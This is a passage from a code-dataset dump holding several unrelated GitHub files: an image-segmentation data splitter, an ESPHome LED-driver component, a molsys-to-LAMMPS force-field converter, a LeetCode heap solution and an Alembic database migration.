shuffle=True,\n random_state=42)\n image_valid, image_test, mask_valid, mask_test = train_test_split(image_test, mask_test,\n test_size=test_size/(valid_size + test_size),\n random_state=42)\n train_img_path += image_train\n test_img_path += image_test\n validation_img_path += image_valid\n train_mask_path += mask_train\n test_mask_path += mask_test\n validation_mask_path += mask_valid\n train_labels += (i * np.ones(len(image_train), dtype=int)).tolist()\n test_labels += (i * np.ones(len(image_test), dtype=int)).tolist()\n validation_labels += (i * np.ones(len(image_valid), dtype=int)).tolist()\n data = {\n 'train_img_path': train_img_path,\n 'test_img_path': test_img_path,\n 'validation_img_path': validation_img_path,\n 'train_mask_path': train_mask_path,\n 'test_mask_path': test_mask_path,\n 'validation_mask_path': validation_mask_path,\n 'train_labels': train_labels,\n 'test_labels': test_labels,\n 'validation_labels': validation_labels\n }\n with open(\"data.json\", \"w\") as f:\n json.dump(data, f, indent=4)\n","repo_name":"tronik27/Fish-Segmentation","sub_path":"Data_Preprocessing.py","file_name":"Data_Preprocessing.py","file_ext":"py","file_size_in_byte":9494,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"2409856421","text":"import esphome.codegen as cg\nimport esphome.config_validation as cv\nfrom esphome import pins\nfrom esphome.const import (\n CONF_CLOCK_PIN,\n CONF_DATA_PIN,\n CONF_ID,\n)\n\nCODEOWNERS = [\"@Cossid\"]\nMULTI_CONF = True\n\nAUTO_LOAD = [\"output\"]\nbp5758d_ns = cg.esphome_ns.namespace(\"bp5758d\")\nBP5758D = bp5758d_ns.class_(\"BP5758D\", cg.Component)\n\nCONFIG_SCHEMA = cv.Schema(\n {\n cv.GenerateID(): cv.declare_id(BP5758D),\n cv.Required(CONF_DATA_PIN): pins.gpio_output_pin_schema,\n cv.Required(CONF_CLOCK_PIN): pins.gpio_output_pin_schema,\n }\n).extend(cv.COMPONENT_SCHEMA)\n\n\nasync def to_code(config):\n var = cg.new_Pvariable(config[CONF_ID])\n await cg.register_component(var, config)\n\n data = await cg.gpio_pin_expression(config[CONF_DATA_PIN])\n cg.add(var.set_data_pin(data))\n clock = await cg.gpio_pin_expression(config[CONF_CLOCK_PIN])\n cg.add(var.set_clock_pin(clock))\n","repo_name":"esphome/esphome","sub_path":"esphome/components/bp5758d/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":913,"program_lang":"python","lang":"en","doc_type":"code","stars":6791,"dataset":"github-code","pt":"47"} +{"seq_id":"27263245300","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Apr 19 09:37:25 2017\n\n@author: rochus\n\n\n ff2lammps\n \nclass to be instantiated with an exisiting mol object and paramters already assinged\nit will write a data and a lamps input file \n\n\"\"\"\n\nimport numpy as np\nimport string\nimport copy\n\nimport molsys\nimport molsys.util.elems as elements\nfrom molsys.addon import base\n\nimport logging\nlogger = logging.getLogger('molsys.ff2lammps')\n\n\nmdyn2kcal = 143.88\nangleunit = 0.02191418\nrad2deg = 180.0/np.pi \n\nclass ff2lammps(base):\n \n def __init__(self, mol):\n \"\"\"\n setup system and get parameter \n \n :Parameters:\n \n - mol: mol object with ff addon and params assigned\n \"\"\"\n super(ff2lammps,self).__init__(mol)\n # generate the force field\n self._mol.ff.setup_pair_potentials()\n # set up the molecules\n self._mol.addon(\"molecules\")\n self._mol.molecules()\n # make lists of paramtypes and conenct to mol.ff obejcts as shortcuts\n self.ricnames = [\"bnd\", \"ang\", \"dih\", \"oop\", \"cha\", \"vdw\"]\n self.par_types = {}\n self.par = {}\n self.parind = {}\n self.rics = {}\n self.npar = {}\n for r in self.ricnames:\n self.par[r] = self._mol.ff.par[r]\n self.parind[r] = self._mol.ff.parind[r]\n self.rics[r] = self._mol.ff.ric_type[r]\n # sort identical parameters (sorted) using a tuple to hash it into the dict par_types : value is a number starting from 1 \n par_types = {}\n i = 1\n for pil in self.parind[r]:\n if pil:\n pil.sort()\n tpil = tuple(pil)\n if not tpil in par_types:\n par_types[tpil] = i\n i += 1\n self.par_types[r] = par_types\n self.npar[r] = i-1\n # we need to verify that the vdw types and the charge types match because the sigma needs to be in the pair_coeff for lammps\n # thus we build our own atomtypes list combining vdw and cha and use the mol.ff.vdwdata as a source for the combined vdw params\n # but add the combined 1.0/sigma_ij here\n self.plmps_atypes = []\n self.plmps_pair_data = {}\n self.plmps_mass = {} # mass from the element .. even if the vdw and cha type differ it is still the same atom\n for i in xrange(self._mol.get_natoms()):\n vdwt = self.parind[\"vdw\"][i][0]\n chrt = self.parind[\"cha\"][i][0]\n at = vdwt+\"/\"+chrt\n if not at in self.plmps_atypes:\n #print(\"new atomtype %s\" % at)\n self.plmps_atypes.append(at)\n # extract the mass ...\n etup = vdwt.split(\"->\")[1].split(\"|\")[0]\n etup = etup[1:-2]\n e = etup.split(\"_\")[0]\n e = filter(lambda x: x.isalpha(), e)\n self.plmps_mass[at] = elements.mass[e]\n #print(\"with mass %12.6f\" % elements.mass[e])\n for i, ati in enumerate(self.plmps_atypes):\n for j, atj in enumerate(self.plmps_atypes[i:],i):\n vdwi, chai = ati.split(\"/\")\n vdwj, chaj = atj.split(\"/\")\n vdwpairdata = self._mol.ff.vdwdata[vdwi+\":\"+vdwj]\n sigma_i = self.par[\"cha\"][chai][1][1]\n sigma_j = self.par[\"cha\"][chaj][1][1]\n # compute sigma_ij\n sigma_ij = np.sqrt(sigma_i*sigma_i+sigma_j*sigma_j)\n # vdwpairdata is (pot, [rad, eps])\n pair_data = copy.copy(vdwpairdata[1])\n pair_data.append(1.0/sigma_ij)\n self.plmps_pair_data[(i+1,j+1)] = pair_data\n # general settings \n self._settings = {}\n # set defaults\n self._settings[\"cutoff\"] = 12.0\n self._settings[\"parformat\"] = \"%15.8g\"\n self._settings[\"vdw_a\"] = 1.84e5\n self._settings[\"vdw_b\"] = 12.0\n self._settings[\"vdw_c\"] = 2.25\n self._settings[\"vdw_dampfact\"] = 0.25\n self._settings[\"vdw_smooth\"] = 0.9\n self._settings[\"coul_smooth\"] = 0.9\n self._settings[\"use_angle_cosine_buck6d\"] = True\n self._settings[\"kspace_method\"] = \"ewald\"\n self._settings[\"kspace_prec\"] = 1.0e-6\n self._settings[\"use_improper_umbrella_harmonic\"] = False # default is to use improper_inversion_harmonic\n return\n\n @staticmethod\n def rotate_cell(cell):\n if np.linalg.norm(cell[0]) != cell[0,0]:\n # system needs to be rotated\n A = cell[0]\n B = cell[1]\n C = cell[2]\n AcB = np.cross(A,B)\n uAcB = AcB/np.linalg.norm(AcB)\n lA = np.linalg.norm(A)\n uA = A/lA\n lx = lA\n xy = np.dot(B,uA)\n ly = np.linalg.norm(np.cross(uA,B))\n xz = np.dot(C,uA)\n yz = np.dot(C,np.cross(uAcB,uA))\n lz = np.dot(C,uAcB)\n cell = np.array([\n [lx,0,0],\n [xy,ly,0.0],\n [xz,yz,lz]])\n return cell\n \n\n def adjust_cell(self):\n if self._mol.bcond > 0:\n fracs = self._mol.get_frac_xyz()\n cell = self._mol.get_cell()\n self.tilt = 'small'\n # now check if cell is oriented along the (1,0,0) unit vector\n if np.linalg.norm(cell[0]) != cell[0,0]:\n rcell = self.rotate_cell(cell)\n self._mol.set_cell(rcell, cell_only=False)\n else:\n rcell = cell\n lx,ly,lz,xy,xz,yz = rcell[0,0],rcell[1,1],rcell[2,2],rcell[1,0],rcell[2,0],rcell[2,1]\n # system needs to be rotated\n# rcell=np.zeros([3,3])\n# A = cell[0]\n# B = cell[1]\n# C = cell[2]\n# AcB = np.cross(A,B)\n# uAcB = AcB/np.linalg.norm(AcB)\n# lA = np.linalg.norm(A)\n# uA = A/lA\n# lx = lA\n# xy = np.dot(B,uA)\n# ly = np.linalg.norm(np.cross(uA,B))\n# xz = np.dot(C,uA)\n# yz = np.dot(C,np.cross(uAcB,uA))\n# lz = np.dot(C,uAcB)\n # check for tiltings\n if abs(xy)>lx/2: \n logger.warning('xy tilting is too large in respect to lx')\n self.tilt='large'\n if abs(xz)>lx/2: \n logger.warning('xz tilting is too large in respect to lx')\n self.tilt='large'\n if abs(yz)>lx/2: \n logger.warning('yz tilting is too large in respect to lx')\n self.tilt='large'\n if abs(xz)>ly/2: \n logger.warning('xz tilting is too large in respect to ly')\n self.tilt='large'\n if abs(yz)>ly/2:\n logger.warning('yz tilting is too large in respect to ly')\n self.tilt='large'\n # check if celldiag is positve, else a left hand side basis is formed\n if rcell.diagonal()[0]<0.0: raise IOError('Left hand side coordinate system detected')\n if rcell.diagonal()[1]<0.0: raise IOError('Left hand side coordinate system detected')\n if rcell.diagonal()[2]<0.0: raise IOError('Left hand side coordinate system detected')\n# self._mol.set_cell(rcell, cell_only=False)\n# import pdb; pdb.set_trace()\n return\n\n @staticmethod\n def cell2tilts(cell):\n return [cell[0,0],cell[1,1],cell[2,2],cell[1,0],cell[2,0],cell[2,1]]\n\n\n def setting(self, s, val):\n if not s in self._settings:\n self.pprint(\"This settings %s is not allowed\" % s)\n return\n else:\n self._settings[s] = val\n return\n \n def write_data(self, filename=\"tmp.data\"):\n if self.mpi_rank > 0: return\n self.data_filename = filename\n f = open(filename, \"w\")\n # write header \n header = \"LAMMPS data file for mol object with MOF-FF params from www.mofplus.org\\n\\n\"\n header += \"%10d atoms\\n\" % self._mol.get_natoms()\n header += \"%10d bonds\\n\" % len(self.rics[\"bnd\"])\n header += \"%10d angles\\n\" % len(self.rics[\"ang\"])\n header += \"%10d dihedrals\\n\" % len(self.rics[\"dih\"])\n if self._settings[\"use_improper_umbrella_harmonic\"] == True:\n header += \"%10d impropers\\n\" % (len(self.rics[\"oop\"])*3) # need all three permutations\n else:\n header += \"%10d impropers\\n\" % len(self.rics[\"oop\"]) \n # types are different paramtere types \n header += \"%10d atom types\\n\" % len(self.plmps_atypes)\n header += \"%10d bond types\\n\" % len(self.par_types[\"bnd\"]) \n header += \"%10d angle types\\n\" % len(self.par_types[\"ang\"])\n header += \"%10d dihedral types\\n\" % len(self.par_types[\"dih\"])\n header += \"%10d improper types\\n\\n\" % len(self.par_types[\"oop\"])\n self.adjust_cell()\n xyz = self._mol.get_xyz()\n if self._mol.bcond == 0:\n # in the nonperiodic case center the molecule in the origin\n self._mol.translate(-self._mol.get_com())\n cmax = xyz.max(axis=0)+10.0\n cmin = -xyz.min(axis=0)-10.0\n tilts = (0.0,0.0,0.0)\n elif self._mol.bcond<2:\n # orthorombic/cubic bcond\n cell = self._mol.get_cell()\n cmin = np.zeros([3])\n cmax = cell.diagonal()\n tilts = (0.0,0.0,0.0)\n else:\n # triclinic bcond\n cell = self._mol.get_cell()\n cmin = np.zeros([3])\n cmax = cell.diagonal()\n tilts = (cell[1,0], cell[2,0], cell[2,1])\n header += '%12.6f %12.6f xlo xhi\\n' % (cmin[0], cmax[0])\n header += '%12.6f %12.6f ylo yhi\\n' % (cmin[1], cmax[1])\n header += '%12.6f %12.6f zlo zhi\\n' % (cmin[2], cmax[2])\n header += '%12.6f %12.6f %12.6f xy xz yz\\n' % tilts\n # NOTE in lammps masses are mapped on atomtypes which indicate vdw interactions (pair potentials)\n # => we do NOT use the masses set up in the mol object because of this mapping\n # so we need to extract the element from the vdw paramter name which is a bit clumsy (DONE IN INIT NOW)\n header += \"\\nMasses\\n\\n\" \n for i in range(len(self.plmps_atypes)):\n at = self.plmps_atypes[i]\n header += \"%5d %10.4f # %s\\n\" % (i+1, self.plmps_mass[at], at)\n f.write(header)\n # write Atoms\n # NOTE ... this is MOF-FF and we silently assume that all charge params are Gaussians!!\n f.write(\"\\nAtoms\\n\\n\")\n chargesum = 0.0\n for i in range(self._mol.get_natoms()):\n vdwt = self.parind[\"vdw\"][i][0]\n chat = self.parind[\"cha\"][i][0]\n at = vdwt+\"/\"+chat\n atype = self.plmps_atypes.index(at)+1\n molnumb = self._mol.molecules.whichmol[i]+1\n chrgpar = self.par[\"cha\"][chat]\n assert chrgpar[0] == \"gaussian\", \"Only Gaussian type charges supported\"\n chrg = chrgpar[1][0]\n chargesum+=chrg\n x,y,z = xyz[i]\n # ind atype molnumb chrg x y z # comment\n f.write(\"%10d %5d %5d %10.5f %12.6f %12.6f %12.6f # %s\\n\" % (i+1, molnumb, atype, chrg, x,y,z, vdwt))\n self.pprint(\"The total charge of the system is: %12.8f\" % chargesum)\n # write bonds\n f.write(\"\\nBonds\\n\\n\")\n for i in range(len(self.rics[\"bnd\"])):\n bndt = tuple(self.parind[\"bnd\"][i])\n a,b = self.rics[\"bnd\"][i]\n f.write(\"%10d %5d %8d %8d # %s\\n\" % (i+1, self.par_types[\"bnd\"][bndt], a+1, b+1, bndt))\n # write angles\n f.write(\"\\nAngles\\n\\n\")\n for i in range(len(self.rics[\"ang\"])):\n angt = tuple(self.parind[\"ang\"][i])\n a,b,c = self.rics[\"ang\"][i]\n f.write(\"%10d %5d %8d %8d %8d # %s\\n\" % (i+1, self.par_types[\"ang\"][angt], a+1, b+1, c+1, angt))\n # write dihedrals\n f.write(\"\\nDihedrals\\n\\n\")\n for i in range(len(self.rics[\"dih\"])):\n diht = tuple(self.parind[\"dih\"][i])\n a,b,c,d = self.rics[\"dih\"][i]\n f.write(\"%10d %5d %8d %8d %8d %8d # %s\\n\" % (i+1, self.par_types[\"dih\"][diht], a+1, b+1, c+1, d+1, diht))\n # write impropers/oops\n f.write(\"\\nImpropers\\n\\n\")\n for i in range(len(self.rics[\"oop\"])): \n oopt = self.parind[\"oop\"][i]\n if oopt:\n a,b,c,d = self.rics[\"oop\"][i]\n f.write(\"%10d %5d %8d %8d %8d %8d # %s\\n\" % (i+1, self.par_types[\"oop\"][tuple(oopt)], a+1, b+1, c+1, d+1, oopt))\n if self._settings[\"use_improper_umbrella_harmonic\"] == True:\n # add the other two permutations of the bended atom (abcd : a is central, d is bent)\n f.write(\"%10d %5d %8d %8d %8d %8d # %s\\n\" % (i+1, self.par_types[\"oop\"][tuple(oopt)], a+1, d+1, b+1, c+1, oopt))\n f.write(\"%10d %5d %8d %8d %8d %8d # %s\\n\" % (i+1, self.par_types[\"oop\"][tuple(oopt)], a+1, c+1, d+1, b+1, oopt))\n f.write(\"\\n\")\n f.close()\n return\n\n def parf(self, n):\n pf = self._settings[\"parformat\"]+\" \"\n return n*pf\n\n def write2internal(self,lmps):\n formatter = {\"bnd\": self.bondterm_formatter,\n \"ang\": self.angleterm_formatter,\n \"dih\": self.dihedralterm_formatter,\n \"oop\": self.oopterm_formatter}\n for ict in ['bnd','ang','dih','oop']:\n for bt in self.par_types[ict].keys():\n bt_number = self.par_types[ict][bt]\n for ibt in bt:\n pot_type, params = self.par[ict][ibt]\n pstrings = formatter[ict](bt_number, pot_type, params)\n for p in pstrings: lmps.lmps.command(p)\n return\n\n# for bt in self.par_types[\"bnd\"].keys():\n# bt_number = self.par_types[\"bnd\"][bt]\n# for ibt in bt:\n# pot_type, params = self.par[\"bnd\"][ibt]\n# if pot_type == \"mm3\":\n\n def bondterm_formatter(self, number, pot_type, params):\n assert type(params) == list\n if np.count_nonzero(params) == 0:\n #TODO implement used feature here, quick hack would be to make one dry run\n # startup with ff2pydlpoly and get the info form there :D\n pass \n if pot_type == \"mm3\":\n r0 = params[1]\n K2 = params[0]*mdyn2kcal/2.0 \n K3 = K2*(-2.55)\n K4 = K2*(2.55**2.)*(7.0/12.0)\n pstring = \"bond_coeff %5d class2 %12.6f %12.6f %12.6f %12.6f\" % (number,r0, K2, K3, K4)\n elif pot_type == \"quartic\":\n r0 = params[1]\n K2 = params[0]*mdyn2kcal/2.0 \n K3 = -1*K2*params[2]\n K4 = K2*(2.55**2.)*params[3]\n pstring = \"bond_coeff %5d class2 %12.6f %12.6f %12.6f %12.6f\" % (number,r0, K2, K3, K4)\n elif pot_type == \"morse\":\n r0 = params[1]\n E0 = params[2]\n k = params[0]*mdyn2kcal/2.0\n alpha = np.sqrt(k/E0)\n pstring = \"bond_coeff %5d morse %12.6f%12.6f %12.6f\" % (number, E0, alpha, r0)\n else:\n raise ValueError(\"unknown bond potential\")\n return [pstring]\n\n def angleterm_formatter(self, number, pot_type, params):\n assert type(params) == list\n pstrings = []\n if np.count_nonzero(params) == 0:\n #TODO implement used feature here, quick hack would be to make one dry run\n # startup with ff2pydlpoly and get the info form there :D\n pass\n if pot_type == \"mm3\":\n th0 = params[1]\n K2 = params[0]*mdyn2kcal/2.0 \n K3 = K2*(-0.014)*rad2deg\n K4 = K2*5.6e-5*rad2deg**2\n K5 = K2*-7.0e-7*rad2deg**3\n K6 = K2*2.2e-8*rad2deg**4\n pstring = \"angle_coeff %5d class2/p6 %12.6f %12.6f %12.6f %12.6f %12.6f %12.6f\" % (number,th0, K2, K3, K4, K5, K6)\n pstrings.append(pstring)\n # HACk to catch angles witout strbnd\n# if len(at) == 1:\n# pstrings.append(\"angle_coeff %5d class2/p6 bb 0.0 1.0 1.0\" % (number))\n# pstrings.append(\"angle_coeff %5d class2/p6 ba 0.0 0.0 1.0 1.0\" % (number))\n elif pot_type == \"strbnd\":\n ksb1, ksb2, kss = params[:3]\n r01, r02 = params[3:5]\n th0 = params[5]\n pstrings.append(\"angle_coeff %5d class2/p6 bb %12.6f %12.6f %12.6f\" % (number, kss*mdyn2kcal, r01, r02))\n pstrings.append(\"angle_coeff %5d class2/p6 ba %12.6f %12.6f %12.6f %12.6f\" % (number, ksb1*mdyn2kcal, ksb2*mdyn2kcal, r01, r02))\n # f.write(\"angle_coeff %5d bb %12.6f %12.6f %12.6f\\n\" % (at_number, kss*mdyn2kcal, r01, r02))\n # f.write(\"angle_coeff %5d ba %12.6f %12.6f %12.6f %12.6f\\n\" % (at_number, ksb1*mdyn2kcal, ksb2*mdyn2kcal, r01, r02))\n elif pot_type == \"fourier\":\n a0 = params[1]\n fold = params[2]\n k = 0.5*params[0]*angleunit*rad2deg*rad2deg/fold\n pstring = \"%12.6f %5d %12.6f\" % (k, fold, a0)\n if self._settings[\"use_angle_cosine_buck6d\"]:\n pstrings.append(\"angle_coeff %5d cosine/buck6d %s\" % (number, pstring)) \n else:\n pstrings.append(\"angle_coeff %5d cosine/vdwl13 %s 1.0\" % (number, pstring))\n else:\n raise ValueError(\"unknown angle potential\")\n return pstrings\n\n# pstring = \"%12.6f %12.6f %12.6f %12.6f %12.6f %12.6f\" % (th0, K2, K3, K4, K5, K6)\n# # pstring = \"%12.6f %12.6f\" % (th0, K2)\n# f.write(\"angle_coeff %5d class2/p6 %s # %s\\n\" % (at_number, pstring, iat))\n def dihedralterm_formatter(self, number, pot_type, params):\n if np.count_nonzero(params) == 0:\n #TODO implement used feature here, quick hack would be to make one dry run\n # startup with ff2pydlpoly and get the info form there :D\n pass\n if pot_type == \"cos3\":\n v1, v2, v3 = params[:3]\n pstring = \"%12.6f %12.6f %12.6f %12.6f\" % (v1, v2, v3, 0.0)\n elif pot_type == \"cos4\":\n v1, v2, v3, v4 = params[:4]\n pstring = \"%12.6f %12.6f %12.6f %12.6f\" % (v1, v2, v3, v4)\n else:\n raise ValueError(\"unknown dihedral potential\")\n return [\"dihedral_coeff %5d %s\" % (number, pstring)]\n\n\n def oopterm_formatter(self, number, pot_type, params):\n if np.count_nonzero(params) == 0:\n #TODO implement used feature here, quick hack would be to make one dry run\n # startup with ff2pydlpoly and get the info form there :D\n pass\n if pot_type == \"harm\":\n pstring = \"%12.6f %12.6f\" % (params[0]*mdyn2kcal*1.5, params[1])\n else:\n raise ValueError(\"unknown improper/oop potential\")\n return [\"improper_coeff %5d %s\" % (number, pstring)]\n\n\n def write_input(self, filename = \"lmp.input\", header=None, footer=None, kspace=False):\n \"\"\"\n NOTE: add read data ... fix header with periodic info\n \"\"\"\n if self.mpi_rank > 0: return\n self.input_filename = filename\n f = open(filename, \"w\")\n # write standard header \n f.write(\"clear\\n\")\n f.write(\"units real\\n\")\n if self._mol.bcond == 0:\n f.write(\"boundary f f f\\n\")\n else:\n f.write(\"boundary p p p\\n\")\n f.write(\"atom_style full\\n\")\n f.write('box tilt large\\n')\n f.write(\"read_data %s\\n\\n\" % self.data_filename)\n f.write(\"neighbor 2.0 bin\\n\\n\")\n # extra header\n if header:\n hf = open(header, \"r\")\n f.write(hf.readlines())\n hf.close()\n f.write(\"\\n# ------------------------ MOF-FF FORCE FIELD ------------------------------\\n\")\n # pair style\n if kspace:\n # use kspace for the long range electrostatics and the corresponding long for the real space pair\n f.write(\"\\nkspace_style %s %10.4g\\n\" % (self._settings[\"kspace_method\"], self._settings[\"kspace_prec\"]))\n # for DEBUG f.write(\"kspace_modify gewald 0.265058\\n\")\n f.write(\"pair_style buck6d/coul/gauss/long %10.4f %10.4f %10.4f\\n\\n\" % (self._settings[\"vdw_smooth\"], self._settings[\"coul_smooth\"], self._settings[\"cutoff\"]))\n else:\n # use shift damping (dsf)\n f.write(\"\\npair_style buck6d/coul/gauss/dsf %10.4f %10.4f\\n\\n\" % (self._settings[\"vdw_smooth\"], self._settings[\"cutoff\"]))\n for i, ati in enumerate(self.plmps_atypes):\n for j, atj in enumerate(self.plmps_atypes[i:],i):\n r0, eps, alpha_ij = self.plmps_pair_data[(i+1,j+1)]\n A = self._settings[\"vdw_a\"]*eps\n B = self._settings[\"vdw_b\"]/r0\n C = eps*self._settings[\"vdw_c\"]*r0**6\n D = 6.0*(self._settings[\"vdw_dampfact\"]*r0)**14\n f.write((\"pair_coeff %5d %5d \" + self.parf(5) + \" # %s <--> %s\\n\") % (i+1,j+1, A, B, C, D, alpha_ij, ati, atj)) \n # bond style\n f.write(\"\\nbond_style hybrid class2 morse\\n\\n\")\n for bt in self.par_types[\"bnd\"].keys():\n bt_number = self.par_types[\"bnd\"][bt]\n for ibt in bt:\n pot_type, params = self.par[\"bnd\"][ibt]\n if pot_type == \"mm3\":\n r0 = params[1]\n K2 = params[0]*mdyn2kcal/2.0 \n K3 = K2*(-2.55)\n K4 = K2*(2.55**2.)*(7.0/12.0)\n pstring = \"class2 %12.6f %12.6f %12.6f %12.6f\" % (r0, K2, K3, K4)\n elif pot_type == \"quartic\":\n r0 = params[1]\n K2 = params[0]*mdyn2kcal/2.0 \n K3 = -1*K2*params[2]\n K4 = K2*(2.55**2.)*params[3]\n pstring = \"class2 %12.6f %12.6f %12.6f %12.6f\" % (r0, K2, K3, K4)\n elif pot_type == \"morse\":\n r0 = params[1]\n E0 = params[2]\n k = params[0]*mdyn2kcal/2.0\n alpha = np.sqrt(k/E0)\n pstring = \"morse %12.6f%12.6f %12.6f\" % (E0, alpha, r0)\n else:\n raise ValueError(\"unknown bond potential\")\n f.write(\"bond_coeff %5d %s # %s\\n\" % (bt_number, pstring, ibt))\n # angle style\n if self._settings[\"use_angle_cosine_buck6d\"]:\n f.write(\"\\nangle_style hybrid class2/p6 cosine/buck6d\\n\\n\") \n else:\n f.write(\"\\nangle_style hybrid class2/p6 cosine/vdwl13\\n\\n\") \n # f.write(\"\\nangle_style class2/mofff\\n\\n\")\n for at in self.par_types[\"ang\"].keys():\n at_number = self.par_types[\"ang\"][at]\n for iat in at:\n pot_type, params = self.par[\"ang\"][iat]\n if pot_type == \"mm3\":\n th0 = params[1]\n K2 = params[0]*mdyn2kcal/2.0 \n K3 = K2*(-0.014)*rad2deg\n K4 = K2*5.6e-5*rad2deg**2\n K5 = K2*-7.0e-7*rad2deg**3\n K6 = K2*2.2e-8*rad2deg**4\n pstring = \"%12.6f %12.6f %12.6f %12.6f %12.6f %12.6f\" % (th0, K2, K3, K4, K5, K6)\n # pstring = \"%12.6f %12.6f\" % (th0, K2)\n f.write(\"angle_coeff %5d class2/p6 %s # %s\\n\" % (at_number, pstring, iat))\n # f.write(\"angle_coeff %5d %s # %s\\n\" % (at_number, pstring, iat))\n # HACk to catch angles witout strbnd\n if len(at) == 1:\n f.write(\"angle_coeff %5d class2/p6 bb 0.0 1.0 1.0\\n\" % (at_number))\n f.write(\"angle_coeff %5d class2/p6 ba 0.0 0.0 1.0 1.0\\n\" % (at_number))\n elif pot_type == \"strbnd\":\n ksb1, ksb2, kss = params[:3]\n r01, r02 = params[3:5]\n th0 = params[5]\n f.write(\"angle_coeff %5d class2/p6 bb %12.6f %12.6f %12.6f\\n\" % (at_number, kss*mdyn2kcal, r01, r02))\n f.write(\"angle_coeff %5d class2/p6 ba %12.6f %12.6f %12.6f %12.6f\\n\" % (at_number, ksb1*mdyn2kcal, ksb2*mdyn2kcal, r01, r02))\n # f.write(\"angle_coeff %5d bb %12.6f %12.6f %12.6f\\n\" % (at_number, kss*mdyn2kcal, r01, r02))\n # f.write(\"angle_coeff %5d ba %12.6f %12.6f %12.6f %12.6f\\n\" % (at_number, ksb1*mdyn2kcal, ksb2*mdyn2kcal, r01, r02))\n elif pot_type == \"fourier\":\n a0 = params[1]\n fold = params[2]\n k = 0.5*params[0]*angleunit*rad2deg*rad2deg/fold\n pstring = \"%12.6f %5d %12.6f\" % (k, fold, a0)\n if self._settings[\"use_angle_cosine_buck6d\"]:\n f.write(\"angle_coeff %5d cosine/buck6d %s # %s\\n\" % (at_number, pstring, iat)) \n else:\n f.write(\"angle_coeff %5d cosine/vdwl13 %s 1.0 # %s\\n\" % (at_number, pstring, iat))\n else:\n raise ValueError(\"unknown angle potential\")\n # dihedral style\n f.write(\"\\ndihedral_style opls\\n\\n\")\n for dt in self.par_types[\"dih\"].keys():\n dt_number = self.par_types[\"dih\"][dt]\n for idt in dt:\n pot_type, params = self.par[\"dih\"][idt]\n if pot_type == \"cos3\":\n v1, v2, v3 = params[:3]\n pstring = \"%12.6f %12.6f %12.6f %12.6f\" % (v1, v2, v3, 0.0)\n elif pot_type == \"cos4\":\n v1, v2, v3, v4 = params[:4]\n pstring = \"%12.6f %12.6f %12.6f %12.6f\" % (v1, v2, v3, v4)\n else:\n raise ValueError(\"unknown dihedral potential\")\n f.write(\"dihedral_coeff %5d %s # %s\\n\" % (dt_number, pstring, idt))\n # improper/oop style\n if self._settings[\"use_improper_umbrella_harmonic\"] == True:\n f.write(\"\\nimproper_style umbrella/harmonic\\n\\n\")\n else:\n f.write(\"\\nimproper_style inversion/harmonic\\n\\n\")\n for it in self.par_types[\"oop\"].keys():\n it_number = self.par_types[\"oop\"][it]\n for iit in it:\n pot_type, params = self.par[\"oop\"][iit]\n if pot_type == \"harm\":\n if self._settings[\"use_improper_umbrella_harmonic\"] == True:\n pstring = \"%12.6f %12.6f\" % (params[0]*mdyn2kcal, params[1])\n else:\n pstring = \"%12.6f %12.6f\" % (params[0]*mdyn2kcal*1.5, params[1]) \n else:\n raise ValueError(\"unknown improper/oop potential\")\n f.write(\"improper_coeff %5d %s # %s\\n\" % (it_number, pstring, iit))\n f.write(\"\\nspecial_bonds lj 0.0 0.0 1.0 coul 1.0 1.0 1.0\\n\\n\")\n f.write(\"# ------------------------ MOF-FF FORCE FIELD END --------------------------\\n\")\n # write footer\n if footer:\n ff = open(footer, \"r\")\n f.write(ff.readlines())\n ff.close()\n f.close()\n return\n","repo_name":"hopefulp/sandbox","sub_path":"Archive_sand/MOF_plus/pylmps/pylmps/ff2lammps.py","file_name":"ff2lammps.py","file_ext":"py","file_size_in_byte":27529,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"18091297649","text":"# Definition for a binary tree node.\nimport heapq\nfrom collections import defaultdict\nfrom functools import reduce\nfrom typing import Optional, List, Counter\n\n\nclass Solution:\n def topKFrequent(self, nums: List[int], k: int) -> List[int]:\n # Step 1: Count the frequency of each element using a hash map\n freq = {}\n for num in nums:\n freq[num] = freq.get(num, 0) + 1\n\n # Step 2: Use a min-heap to store the top k frequent elements\n heap = []\n for num, count in freq.items():\n if len(heap) < k:\n heapq.heappush(heap, (count, num))\n elif count > heap[0][0]:\n heapq.heappushpop(heap, (count, num))\n\n # Step 3: Return the elements in the heap\n return [num for count, num in heap]\n\n\nsol = Solution()\n# [1,-2,-3,1,3,-2,null,-1]\nprint(sol.topKFrequent([4, 1, -1, 2, -1, 2, 3], 2))\n","repo_name":"egorioch/algorithms","sub_path":"leetcode.py","file_name":"leetcode.py","file_ext":"py","file_size_in_byte":896,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"33232384894","text":"\"\"\"update user and image relationship and user_id fk type\n\nRevision ID: c369dc1fd7dd\nRevises: efebe2175d4f\nCreate Date: 2023-05-20 13:27:33.031779\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'c369dc1fd7dd'\ndown_revision = 'efebe2175d4f'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('images', sa.Column('user_id', sa.UUID(), nullable=False))\n op.create_foreign_key('fk_user_image', 'images', 'user', ['user_id'], ['id'])\n op.drop_constraint('profile_photo', 'user', type_='foreignkey')\n op.drop_column('user', 'photo_id')\n # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('user', sa.Column('photo_id', sa.UUID(), autoincrement=False, nullable=True))\n op.create_foreign_key('profile_photo', 'user', 'images', ['photo_id'], ['id'], ondelete='SET NULL')\n op.drop_constraint('fk_user_image', 'images', type_='foreignkey')\n op.drop_column('images', 'user_id')\n # ### end Alembic commands ###\n","repo_name":"MoigeMatino/african-recipes-api","sub_path":"alembic/versions/c369dc1fd7dd_update_user_and_image_relationship_and_.py","file_name":"c369dc1fd7dd_update_user_and_image_relationship_and_.py","file_ext":"py","file_size_in_byte":1168,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"47"} +{"seq_id":"4628546895","text":"import numpy\r\n# #####设置区域#####\r\nTrainsFile = 